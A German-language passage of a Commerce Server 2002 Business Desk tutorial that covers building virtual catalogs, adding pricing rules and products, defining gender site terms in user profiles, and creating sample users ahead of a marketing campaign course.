  • Schritt 8: Überprüfen der Änderungen in der Retail-Site


Schritt 1: Erstellen eines neuen virtuellen Katalogs

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  3. Klicken Sie im Bildschirm Kataloge auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neuer virtueller Katalog aus.
  4. Führen Sie im Bildschirm Katalogeigenschaften – Neuer virtueller Katalog im Bereich Katalogeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Karten und Camping ein.
    Anfangsdatum | Wählen Sie im Dropdownkalender das aktuelle Datum aus.
    Währung | Wählen Sie in der Dropdownliste die Option Euro – EUR aus.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Katalogeigenschaften zu speichern und zum Bildschirm Kataloge zurückzukehren.

Die Katalogeigenschaften werden mit dem neuen virtuellen Katalog gespeichert. Fahren Sie mit Schritt 2: Einschließen von Basiskatalogen in den virtuellen Katalog fort, in dem Sie eine Einschlussregel erstellen werden, mit deren Hilfe Sie dem virtuellen Katalog die vorhandenen Basiskataloge hinzufügen können.


Schritt 2: Einschließen von Basiskatalogen in den virtuellen Katalog

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog Karten und Camping aus, und klicken Sie anschließend auf der Symbolleiste auf Katalog öffnen.
  3. Klicken Sie im Bildschirm Kataloginhalt – Karten und Camping (Deutsch (Deutschland)) im Bereich Hinzufügen/löschen auf Neu.
  4. Klicken Sie im Feld Katalog auf Auslassungsschaltfläche, um das Dialogfeld Katalogauswahl zu öffnen.

    Das Dialogfeld Katalogauswahl wird angezeigt.

  5. Klicken Sie im Dialogfeld Katalogauswahl auf Campingkarten und anschließend auf Auswählen.
  6. Wählen Sie im Bildschirm Kataloginhalt – Karten und Camping (Deutsch (Deutschland)) im Bereich Hinzufügen/löschen aus der Dropdownliste Regel die Option Katalog einschließen aus.
  7. Klicken Sie zum Speichern der Einschlussregel auf Fertig.
  8. Wiederholen Sie die Schritte 3 bis 7, und schließen Sie den Adventure Works-Katalog ein.

    In der Spalte Katalog des Bereichs Hinzufügen/löschen werden die Kataloge Campingkarten und Adventure Works-Katalog angezeigt.

  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen am virtuellen Katalog zu speichern und zum Bildschirm Kataloge zurückzukehren.

Sie haben nun eine Einschlussregel erstellt, die die Basiskataloge Adventure Works-Katalog und Campingkarten in den virtuellen Katalog Karten und Camping einschließt. Bevor Sie den virtuellen Katalog auf der Retail-Site verwenden können, müssen Sie ihn neu erstellen. Fahren Sie mit Schritt 3: Erneutes Erstellen des virtuellen Katalogs "Karten und Camping" fort.


Schritt 3: Erneutes Erstellen des virtuellen Katalogs "Karten und Camping"

  1. Wählen Sie im Bildschirm Kataloge den Katalog Karten und Camping aus, und klicken Sie anschließend auf der Symbolleiste auf Neu erstellen.

    Daraufhin wird im Dialogfeld Business Desk: Katalog neu erstellen die Meldung Katalogneuerstellung wurde erfolgreich gestartet angezeigt.

  2. Klicken Sie im Dialogfeld Business Desk: Katalog neu erstellen auf OK, und klicken Sie auf Katalog-Editor, um die Katalogliste zu aktualisieren.
  3. In der Spalte Status des Katalogs Karten und Camping wird Aktualisiert angezeigt. Wenn in der Spalte Status hingegen Neuerstellung angezeigt wird, warten Sie einige Sekunden ab, und klicken Sie dann erneut auf Katalog-Editor.

Damit haben Sie die Kataloge Campingkarten und Adventure Works in den virtuellen Katalog Karten und Camping einbezogen, der nun auf der Retail-Site verfügbar ist. Fahren Sie mit Schritt 4: Hinzufügen von Preisberechnungsregeln zum Katalog "Karten und Camping" fort.


Schritt 4: Hinzufügen von Preisberechnungsregeln zum Katalog "Karten und Camping"

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog Karten und Camping aus, und klicken Sie anschließend auf der Symbolleiste auf Katalog öffnen.
  3. Klicken Sie im Bildschirm Kataloginhalt – Karten und Camping (Deutsch (Deutschland)) im Bereich Preisregeln auf Neu.
  4. Klicken Sie im Feld Artikel auf Auslassungsschaltfläche, um das Dialogfeld Produktauswahl zu öffnen.

    Das Dialogfeld Produktauswahl wird angezeigt.

  5. Wählen Sie im Dialogfeld Produktauswahl in der Liste Kategorien die Option Zelte (Adventure Works-Katalog) aus, und klicken Sie anschließend auf OK.
  6. Wählen Sie in der Dropdownliste im Feld Typ des Bereichs Preisregeln die Option Prozentualer Preisnachlass aus.
  7. Geben Sie im Feld Betrag die Zahl 10 ein, und klicken Sie auf Fertig.
  8. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Änderungen am virtuellen Katalog zu speichern und zum Bildschirm Kataloge zurückzukehren.

Sie müssen nun den Katalog Karten und Camping erneut erstellen. Anweisungen dazu finden Sie in Schritt 3: Erneutes Erstellen des virtuellen Katalogs "Karten und Camping". Nachdem Sie den Katalog Karten und Camping neu erstellt haben, fahren Sie mit Schritt 5: Hinzufügen einer neuen Kategorie zum Katalog "Campingkarten" fort.


Schritt 5: Hinzufügen einer neuen Kategorie zum Katalog "Campingkarten"

  1. Klicken Sie im Menü Kataloge auf Katalog-Editor.
  2. Wählen Sie im Bildschirm Kataloge den Katalog Campingkarten aus, und klicken Sie anschließend auf der Symbolleiste auf Katalog öffnen.
  3. Klicken Sie im Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) im Bereich Kategorien auf Neu.

    Das Dialogfeld Neue Kategorie wird angezeigt.

  4. Wählen Sie im Dialogfeld Neue Kategorie die Kategorie Abteilung aus, und klicken Sie anschließend auf Weiter.

    Der Bildschirm Katalog-Editor – Campingkarten (Deutsch (Deutschland)) – Neu (Abteilung) wird angezeigt.

  5. Führen Sie im Bildschirm Katalog-Editor – Campingkarten (Deutsch (Deutschland)) – Neu (Abteilung) im Bereich Kategorieeigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    Name | Geben Sie KartenBücher ein.
    Angezeigter Name | Geben Sie Karten und Bücher ein.
    Beschreibung | Geben Sie Wanderkarten und Bücher ein.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die neue Kategorie zu speichern und zum Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) zurückzukehren.

    Die Kategorie KartenBücher wird dem Katalog Campingkarten hinzugefügt.

  7. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

Sie können nun der Kategorie KartenBücher, die Sie für den Katalog Campingkarten erstellt haben, neue Produkte hinzufügen. Fahren Sie mit Schritt 6: Hinzufügen neuer Produkte zum Katalog "Campingkarten" fort, um dieser Kategorie ein neues Produkt hinzuzufügen.


Schritt 6: Hinzufügen neuer Produkte zum Katalog "Campingkarten"

  1. Wählen Sie im Bildschirm Kataloge den Katalog Campingkarten aus, und klicken Sie anschließend auf der Symbolleiste auf Katalog öffnen.
  2. Klicken Sie im Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) im Bereich Produkte auf Neu.

    Das Dialogfeld Neues Produkt wird angezeigt.

  3. Wählen Sie im Dialogfeld Neues Produkt die Option Wanderkarte aus, und klicken Sie anschließend auf OK.
  4. Führen Sie im Bildschirm Katalog-Editor – Campingkarten (Deutsch (Deutschland)) – Neu (Wanderkarte) im Bereich Produkteigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    KartenISBN | Geben Sie die Kartennummer 1-2345-6789-0 ein.
    Beschreibung | Geben Sie Ein Buch zum Wandern im Himalaya ein.
    Name | Geben Sie Wandern im Himalaya ein.
    Kartenregion | Geben Sie Nepal, Südasien ein.
    Kartentitel | Geben Sie Wandern im Himalaya ein.
    Preis | Geben Sie 19,99 ein.

    Hinweis

    Wenn der Katalog Adventure Works importiert wurde, bevor Sie mit dem Lernprogramm begannen, wird in diesem Schritt das Feld SKU angezeigt. Geben Sie in diesem Fall denselben Wert wie für KartenISBN ein.

  5. Führen Sie im Bereich Zugewiesene Kategorien folgende Schritte aus:
    Funktion | Aktion
    Verfügbare Kategorien | Wählen Sie KartenBücher aus, und klicken Sie anschließend auf Hinzufügen.
    Zugewiesene Kategorien | Wählen Sie KartenBücher aus.
    Primäre übergeordnete Kategorie Klicken Sie auf Festlegen.

    Die Kategorie KartenBücher wird im Textfeld Primäre übergeordnete Kategorie angezeigt.
  6. Klicken Sie im Bereich Produktbeziehungen auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Beziehung | Geben Sie Andere Bergkarten ein.
    Artikel | Klicken Sie auf Auslassungsschaltfläche, um das Dialogfeld Produktauswahl zu öffnen.

    Das Dialogfeld Produktauswahl wird angezeigt.

  7. Wählen Sie in der Liste Kategorien des Dialogfelds Produktauswahl die Option KartenBücher aus, und klicken Sie anschließend auf OK.
  8. Klicken Sie im Bereich Produktbeziehungen auf Annehmen.
  9. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Produkt zu speichern und zum Bildschirm Kataloginhalt – Campingkarten (Deutsch ((Deutschland)) zurückzukehren.

    Die neue Karte wird der Kategorie KartenBücher zugeordnet.

  10. Klicken Sie im Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    Das dem Katalog neu hinzugefügte Produkt wird in der Liste Produkte angezeigt.

  11. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

Das neue Produkt, die Karte Wandern im Himalaya, wird im Katalog gespeichert. In der Site wird es jedoch erst nach dem Neuerstellen des virtuellen Katalogs und dem Veröffentlichen Ihrer Site angezeigt. Diese Aufgaben führen Sie unter "Schritt 7: Hinzufügen eines weiteren Produkts zum Katalog 'Campingkarten'" aus.

Hinweis

  • Beim Neuerstellen und Veröffentlichen eines virtuellen Katalogs in einer Site werden automatisch alle darin enthaltenen Basiskataloge neu erstellt und veröffentlicht.

Fahren Sie mit Schritt 7: Hinzufügen eines weiteren Produkts zum Katalog "Campingkarten" fort.


Schritt 7: Hinzufügen eines weiteren Produkts zum Katalog "Campingkarten"

  1. Wählen Sie im Bildschirm Kataloge den Basiskatalog Campingkarten aus, und klicken Sie anschließend auf der Symbolleiste auf Katalog öffnen.

    Der Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) wird angezeigt.

  2. Klicken Sie im Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) im Bereich Produkte auf Neu.

    Das Dialogfeld Neues Produkt wird angezeigt.

  3. Wählen Sie im Dialogfeld Neues Produkt die Option Wanderkarte aus, und klicken Sie anschließend auf OK.

    Der Bildschirm Katalog-Editor – Campingkarten (Deutsch (Deutschland)) – Neu (Wanderkarte) wird angezeigt.

  4. Führen Sie im Bildschirm Katalog-Editor – Campingkarten (Deutsch (Deutschland)) – Neu (Wanderkarte) im Bereich Produkteigenschaften die folgenden Schritte aus:
    Funktion | Aktion
    KartenISBN | Geben Sie die Kartennummer 2-3452-8892-9 ein.
    Beschreibung | Geben Sie Ein Buch zum Wandern im Denali-Nationalpark ein.
    Name | Geben Sie Wandern im Denali-Nationalpark ein
    Kartenregion | Geben Sie Denali, Alaska ein.
    Kartentitel | Geben Sie Wandern im Denali-Nationalpark ein
    Preis | Geben Sie 23,99 ein.

    Hinweis

    Wenn der Katalog Adventure Works importiert wurde, bevor Sie mit dem Lernprogramm begannen, wird in diesem Schritt das Feld SKU angezeigt. Geben Sie in diesem Fall denselben Wert wie für KartenISBN ein.

  5. Führen Sie im Bereich Zugewiesene Kategorien folgende Schritte aus:
    Funktion | Aktion
    Verfügbare Kategorien | Wählen Sie KartenBücher aus, und klicken Sie anschließend auf Hinzufügen.
    Zugewiesene Kategorien | Wählen Sie KartenBücher aus.
    Primäre übergeordnete Kategorie Klicken Sie auf Festlegen.

    Die Kategorie KartenBücher wird im Textfeld Primäre übergeordnete Kategorie angezeigt.
  6. Klicken Sie im Bereich Produktbeziehungen auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Beziehung | Geben Sie Andere Bergkarten ein.
    Artikel | Klicken Sie auf Auslassungsschaltfläche, um das Dialogfeld Produktauswahl zu öffnen.

    Das Dialogfeld Produktauswahl wird angezeigt.

  7. Führen Sie im Dialogfeld Produktauswahl folgende Schritte aus:
    Funktion | Aktion
    Kategorien | Wählen Sie KartenBücher aus.
    Produkte in Kategorie: KartenBücher | Wählen Sie KartenISBN 1-2345-6789-0 (Wandern im Himalaya) aus.
  8. Klicken Sie auf OK.
  9. Klicken Sie im Bereich Produktbeziehungen auf Annehmen.

    Damit haben Sie eine Beziehung zur Karte Wandern im Himalaya hergestellt.

  10. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das neue Produkt im Katalog zu speichern und zum Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) zurückzukehren.
  11. Klicken Sie im Bildschirm Kataloginhalt – Campingkarten (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    In der Liste Produkte des Bildschirms Kataloginhalt – Campingkarten (Deutsch (Deutschland)) werden nun die Karten Wandern im Himalaya und Wandern im Denali-Nationalpark angezeigt.

  12. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

Neuerstellen und Veröffentlichen der Kataloge

Wenn Sie Änderungen an einem virtuellen Katalog vornehmen (beispielsweise einen Basiskatalog, Kategorien oder Produkte in den Katalog einschließen), müssen Sie den virtuellen Katalog anschließend neu erstellen. Da Sie den Basiskatalog Campingkarten um einige Produkte ergänzt haben, muss der virtuelle Katalog jetzt neu erstellt werden.

  1. Wählen Sie im Bildschirm Kataloge den Katalog Karten und Camping aus, und klicken Sie anschließend auf der Symbolleiste auf Neu erstellen.

    Daraufhin wird im Dialogfeld Business Desk: Katalog neu erstellen die Meldung Katalogneuerstellung wurde erfolgreich gestartet angezeigt.

  2. Klicken Sie im Feld Business Desk: Katalog neu erstellen auf OK, und klicken Sie auf Katalog-Editor, um die Katalogliste zu aktualisieren.
  3. In der Spalte Status des Katalogs Karten und Camping wird Aktualisiert angezeigt. Wenn in der Spalte Status hingegen Neuerstellung angezeigt wird, warten Sie einige Sekunden ab, und klicken Sie dann erneut auf Katalog-Editor.
  4. Um den Bildschirm Kataloge zu aktualisieren und gleichzeitig das neue Produkt in der Site zu veröffentlichen, klicken Sie auf der Symbolleiste auf Aktualisieren.

Das neue Produkt, die Karte Wandern im Denali-Nationalpark, wird im Katalog Campingkarten gespeichert, und der aktualisierte Katalog wird in der Website veröffentlicht. Fahren Sie mit Schritt 8: Überprüfen der Änderungen in der Retail-Site fort, in dem Sie die Karte Wandern im Himalaya bestellen werden.


Schritt 8: Überprüfen der Änderungen in der Retail-Site

Um diesen Schritt ausführen zu können, müssen Sie die Retail-Site über einen Webbrowser, beispielsweise Microsoft Internet Explorer, aufrufen. Commerce Server unterstützt Internet Explorer 5.5 mit Service Pack 2 oder höher. Sie können diesen Schritt entweder vom Server oder von einem Remotestandort aus durchführen.

  1. Öffnen Sie die Retail-Site in Ihrem Browser. Geben Sie dafür in der Adresszeile von Internet Explorer http://Servername/retail ein. Servername ist dabei der Name des Computers, der als Host für Ihre Retail-Site fungiert. Wenn Sie den Namen des Servers nicht kennen, wenden Sie sich an Ihren Systemadministrator.
  2. Klicken Sie in der Retail-Site im linken Bereich unter der Option Anmeldung auf Neuer Benutzer, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie JörgBenutzer ein.
    Kennwort | Geben Sie kennwort2 ein.
    Kennwort bestätigen | Geben Sie kennwort2 ein.
  3. Klicken Sie auf Absenden.
  4. Der Bildschirm Kataloge wird angezeigt.
  5. Klicken Sie im Bildschirm Kataloge auf Campingkarten.
  6. Klicken Sie im Bildschirm Campingkarten auf KartenBücher.

    Der Bildschirm KartenBücher wird angezeigt.

  7. Klicken Sie im Bildschirm KartenBücher auf Wandern im Denali-Nationalpark.

    Damit haben Sie sich davon überzeugt, dass das in Kurs 1 (Lektion 4) erstellte Produkt Wandern im Denali-Nationalpark in Ihrer Site veröffentlicht wurde. Im Rahmen dieses Szenarios schließen Sie den Kauf nicht ab.

  8. Schließen Sie den Browser.

Fahren Sie mit Lektion 5: Adressieren der Produkte an Benutzer fort.


Lektion 5: Adressieren der Produkte an Benutzer

Szenario: Sie möchten spezielle Rabatte auf Campingartikel sowie Anzeigen für bestimmte Benutzer einrichten. Wenn Sie beispielsweise wissen, dass es sich um eine Benutzerin handelt, können Sie mithilfe von Sitebegriffen in einer Anzeige gezielt für Damen-Outdoorbekleidung werben.

In dieser Lektion werden Sie die Sitebegriffe Männlich und Weiblich hinzufügen. Nachdem die Sitebegriffe erstellt wurden, werden Sie ein Benutzerprofil einrichten, das diese Sitebegriffe enthält. So haben Sie später die Möglichkeit, Benutzer, die diesem Profil entsprechen, gezielt mit einer Anzeige für Campingartikel anzusprechen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Erstellen eines Sitebegriffs
  • Schritt 2: Hinzufügen von Sitebegriffen zu Benutzerprofilen
  • Schritt 3: Veröffentlichen der Profiländerungen in Ihrer Website


Schritt 1: Erstellen eines Sitebegriffs

Ein Sitebegriff wird innerhalb eines Containers erstellt, der Attribut genannt wird. Ein Attribut wiederum ist in einem Container enthalten, der als Gruppe bezeichnet wird. In diesem Schritt werden Sie eine Gruppe namens PersoenlicheInfo erstellen. Anschließend werden Sie innerhalb der Gruppe PersoenlicheInfo ein Attribut mit dem Namen Geschlecht erstellen. Abschließend erstellen Sie die Begriffe Männlich und Weiblich, anhand derer Sie später die Profile der Benutzer anlegen.

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Menü Profile auf die Option Sitebegriffs-Editor.

    Der Bildschirm Sitebegriffs-Editor wird angezeigt.

  3. Klicken Sie im Bildschirm Sitebegriffs-Editor auf Hinzufügen.

    Das Dialogfeld Hinzufügen wird angezeigt.

  4. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Gruppe hinzufügen, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie PersoenlicheInfo ein.
    Angezeigter Name | Geben Sie Persönliche Informationen ein.
  6. Klicken Sie auf Übernehmen.
  7. Wählen Sie in der Liste Sitebegriffstruktur den Eintrag Persönliche Informationen aus, und klicken Sie anschließend auf Hinzufügen.

    Das Dialogfeld Hinzufügen wird angezeigt.

  8. Wählen Sie im Dialogfeld Hinzufügen die Option Neuen Sitebegriff hinzufügen aus, und klicken Sie anschließend auf OK.
  9. Führen Sie im Bildschirm Sitebegriffs-Editor im Bereich Sitebegriffsattribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Geschlecht ein.
    Angezeigter Name | Geben Sie Geschlecht ein.
  10. Klicken Sie im Bereich Begriffe auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Begriffsname | Geben Sie Maennlich ein.
    Angezeigter Name | Geben Sie Männlich ein.
  11. Klicken Sie auf Annehmen.
  12. Klicken Sie im Bereich Begriffe auf Neu, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Begriffsname | Geben Sie Weiblich ein.
    Angezeigter Name | Geben Sie Weiblich ein.
  13. Klicken Sie auf Annehmen und anschließend auf Übernehmen.
  14. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Sitebegriffe zu speichern und zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Die Sitebegriffe Männlich und Weiblich werden gespeichert und können nun zu einem Benutzerprofil hinzugefügt werden. Fahren Sie mit Schritt 2: Hinzufügen von Sitebegriffen zu Benutzerprofilen fort.


Schritt 2: Hinzufügen von Sitebegriffen zu Benutzerprofilen

  1. Klicken Sie im Menü Profile auf Profildefinitions-Designer.

    Der Bildschirm Profile wird angezeigt.

  2. Wählen Sie im Bildschirm Profile im Listenfeld Name die Option Benutzerobjekt aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Der Bildschirm Profil: Benutzerobjekt wird angezeigt.

  3. Klicken Sie im Bildschirm Profil: Benutzerobjekt im Bereich Eigenschaften auf Allgemeine Informationen. Klicken Sie anschließend auf Hinzufügen.

    Das Dialogfeld Hinzufügen wird angezeigt.

  4. Wählen Sie im Dialogfeld Hinzufügen die Option Neue Eigenschaft hinzufügen aus, und klicken Sie anschließend auf OK.
  5. Führen Sie im Bildschirm Profil: Benutzerobjekt im Bereich Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Geschlecht ein.
    Angezeigter Name | Geben Sie Geschlecht ein.
    Typ | Wählen Sie in der Dropdownliste die Option Sitebegriff aus.
    Typverweis Klicken Sie auf Auslassungsschaltfläche, um das Dialogfeld Sitebegriffsauswahl zu öffnen.

    Wählen Sie im Dialogfeld Sitebegriffsauswahl den Eintrag Persönliche Informationen aus, und klicken Sie anschließend auf Geschlecht.
  6. Klicken Sie im Dialogfeld Sitebegriffsauswahl auf OK.
  7. Führen Sie im Bildschirm Profil: Benutzerobjekt im Bereich Erweiterte Attribute folgende Schritte aus:
    Funktion | Aktion
    Aktiv | Vergewissern Sie sich, dass die Option Ja aktiviert ist.
    Daten zuordnen Klicken Sie auf Auslassungsschaltfläche, um das Dialogfeld Datenquellenauswahl zu öffnen.

    Wählen Sie im Dialogfeld Datenquellenauswahl die Option Profildienst_SQLQuelle aus. Wählen Sie anschließend Benutzerobjekt aus, führen Sie einen Bildlauf nach unten durch, und wählen Sie dann Benutzerdefinierte Eigenschaft1 (STRING) aus.
  8. Klicken Sie auf OK.
  9. Führen Sie im Bildschirm Profil: Benutzerobjekt im Bereich Benutzerdefinierte Attribute folgende Schritte aus:
    Funktion | Aktion
    Name | Wählen Sie sUserAccess aus, und klicken Sie anschließend auf Bearbeiten.
    Wert | Ändern Sie den Wert in 1.
  10. Klicken Sie auf Annehmen und anschließend auf Übernehmen.
  11. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Sitebegriff mit dem Benutzerprofil zu speichern und zum Bildschirm Profile zurückzukehren.

Nachdem Sie einem Benutzerprofil einen Sitebegriff hinzugefügt haben, müssen Sie die Profiländerungen in Ihrer Website veröffentlichen. Fahren Sie mit Schritt 3: Veröffentlichen der Profiländerungen in Ihrer Website fort, in dem Sie die vorgenommenen Änderungen in der Retail-Website veröffentlichen werden.


Schritt 3: Veröffentlichen der Profiländerungen in Ihrer Website

  1. Klicken Sie im Modul "Profile" auf Profile veröffentlichen.

    Der Bildschirm Profile veröffentlichen wird angezeigt.

  2. Wählen Sie im Bildschirm Profile veröffentlichen die Retail-Site aus, die die zu veröffentlichenden Änderungen enthält. Klicken Sie anschließend auf der Symbolleiste auf Veröffentlichen.

Die Profile werden aktualisiert und sind nun in der Retail-Website verfügbar. Fahren Sie mit Lektion 6: Hinzufügen eines Benutzers mit einem neuen Profil fort.


Lektion 6: Hinzufügen eines Benutzers mit einem neuen Profil

Szenario: Die Retail-Website ist bereits eingerichtet und funktionstüchtig, und Benutzer Ihrer Website bestellen regelmäßig Artikel aus den Katalogen Adventure Works und Campingkarten. Sie möchten nun die Benutzer verwalten, die Ihrer Site bekannt sind, da sie das Formular zur Onlineregistrierung ausgefüllt, Campingprodukte bestellt oder in Ihrer Site ein Benutzerkonto eingerichtet haben.

In dieser Lektion werden Sie mithilfe der neuen, in der vorherigen Lektion erstellten Sitebegriffe Männlich und Weiblich zwei neue Benutzer hinzufügen. Anschließend werden Sie in Kurs 2, "Erstellen einer Marketingkampagne", gezielte Werbekampagnen für bestimmte Benutzer erstellen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Erstellen eines männlichen Benutzers
  • Schritt 2: Erstellen einer Benutzerin
  • Schritt 3: Anzeigen von Benutzerkonten mithilfe von Business Desk
  • Schritt 4: Überprüfen der Site


Schritt 1: Erstellen eines männlichen Benutzers

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Menü Profile auf Benutzer.
  3. Klicken Sie im Bildschirm Benutzerobjekt auf der Symbolleiste auf Neu.
  4. Führen Sie im Bildschirm Neues Profil: Benutzerobjekt im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie JensBenutzer ein.
    Benutzerkennwort | Geben Sie kennwort ein.
    E-Mail | Geben Sie Jens.Benutzer@Microsoft.com ein.
    Nachname | Geben Sie Benutzer ein.
    Vorname | Geben Sie Jens ein.
    Geschlecht | Wählen Sie in der Dropdownliste die Option Männlich aus.
  5. Klicken Sie auf der Symbolleiste auf Speichern und neu, um den männlichen Benutzer zu speichern und einen neuen Benutzer zu erstellen.

Der männliche Benutzer mit dem Namen JensBenutzer wird mit dem Sitebegriff gespeichert. Fahren Sie mit Schritt 2: Erstellen einer Benutzerin fort, in dem Sie eine neue Benutzerin namens JanineBenutzer erstellen werden.


Schritt 2: Erstellen einer Benutzerin

  1. Führen Sie im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie JanineBenutzer ein.
    Benutzerkennwort | Geben Sie shazzam ein.
    E-Mail | Geben Sie Janine.Benutzer@Microsoft.com ein.
    Nachname | Geben Sie Benutzer ein.
    Vorname | Geben Sie Janine ein.
    Geschlecht | Wählen Sie in der Dropdownliste die Option Weiblich aus.
  2. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Benutzerin zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren.

Die Benutzerin mit dem Namen JanineBenutzer wird mit dem Sitebegriff Weiblich gespeichert. Fahren Sie mit Lektion 3: Anzeigen von Benutzerkonten mithilfe von Business Desk fort.


Schritt 3: Anzeigen von Benutzerkonten mithilfe von BusinessDesk

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 3: Anzeigen von Benutzerkonten mithilfe von Business Desk

  1. Führen Sie im Bildschirm Benutzerobjekt im Bereich Suchen folgende Schritte aus:
    Funktion | Aktion
    Suchen nach | Wählen Sie in der Dropdownliste die Option Anmeldename aus.
    Anmeldename | Geben Sie * (Sternchen) ein.
  2. Klicken Sie auf Suchen.

Die Benutzer JanineBenutzer, JensBenutzer und JörgBenutzer werden in der Liste Gefilterte Ansicht angezeigt. Fahren Sie mit Schritt 4: Überprüfen der Site fort.


Schritt 4: Überprüfen der Site

  1. Öffnen Sie die Retail-Site in Ihrem Browser. Geben Sie dafür in der Adresszeile von Internet Explorer http://Servername/retail ein. Servername ist dabei der Name des Computers, der als Host für Ihre Website fungiert. Wenn Sie den Namen des Servers nicht kennen, wenden Sie sich an Ihren Systemadministrator.
  2. Klicken Sie im linken Bereich des Bildschirms Retail unterhalb von Anmeldung auf Anmeldung.

    Hinweis

    • Wenn der Willkommensbildschirm angezeigt wird, klicken Sie auf Klicken Sie hier, um sich als Gast anzumelden und anschließend auf den Link Anmeldung, um den Bildschirm Anmeldung zu öffnen.
  3. Führen Sie im Bildschirm Anmeldung folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie JensBenutzer ein.
    Kennwort | Geben Sie kennwort ein.
  4. Klicken Sie auf Absenden.

    Der Bildschirm Kataloge wird angezeigt.

  5. Klicken Sie im linken Bereich des Bildschirms Kataloge unterhalb von Kundenservice auf Profil.

    Der Bildschirm Das Profil wird bearbeitet wird angezeigt.

  6. Überprüfen Sie im Bildschirm Das Profil wird bearbeitet, ob unter Allgemeine Informationen das neu erstellte Sitebegriffsattribut Geschlecht und der Sitebegriff Männlich angezeigt werden.
  7. Schließen Sie das Browserfenster.

Sie haben nun überprüft, dass die Erstellung des neuen Benutzers mit dem Namen JensBenutzer erfolgreich war. Fahren Sie mit Kurs 2: Erstellen einer Marketingkampagne fort.


Kurs 2: Erstellen einer Marketingkampagne

Voraussichtliche Dauer: 30 Minuten

Szenario: Da Sie neu im Onlinegeschäft sind, möchten Sie eine Werbekampagne für Ihre spezialisierten Campingbücher erstellen. Um den Verkauf zu fördern, können Sie Preisnachlässe für diese Bücher einrichten.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten.

  • Lektion 1: Erstellen einer Anzeigenkampagne
  • Lektion 2: Erstellen eines Zielausdrucks
  • Lektion 3: Erstellen einer Preisnachlasskampagne


Lektion 1: Erstellen einer Anzeigenkampagne

Szenario: Da Ihnen bekannt ist, dass viele Ihrer Kunden Bergsteiger sind, bieten Sie in Ihrer ersten Preisnachlasskampagne Bücher zum Thema Bergsteigen an. Verwenden Sie die Kampagnenmodule von Commerce Server Business Desk zur gleichzeitigen Erstellung und Planung von Marketingkampagnen. Sie können Anzeigen-, Direktsendungs- und Preisnachlasskampagnen erstellen.

Sie können in Kampagnen auch das Modul "Referenztabellen" verwenden, um einen Branchencode für Ihre Bücher einzurichten. Branchencodes ermöglichen Ihnen die Identifizierung von mit Anzeigen- oder Preisnachlasskampagnen verbundenen Branchen. Dadurch wird verhindert, dass in derselben Website zwei Anzeigen- oder Preisnachlasskampagnen von Kunden aus derselben Branche angezeigt werden.

In dieser Lektion werden Sie einen Branchencode für Bücher hinzufügen. Anschließend werden Sie einen neuen Kampagnenkunden, den Bergverlag, und eine neue Anzeigenkampagne mit dem Namen Bergbücher hinzufügen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Hinzufügen eines Branchencodes für Bücher zu den Referenztabellen
  • Schritt 2: Hinzufügen eines Kampagnenkunden
  • Schritt 3: Hinzufügen einer Kampagne


Schritt 1: Hinzufügen eines Branchencodes für Bücher zu den Referenztabellen

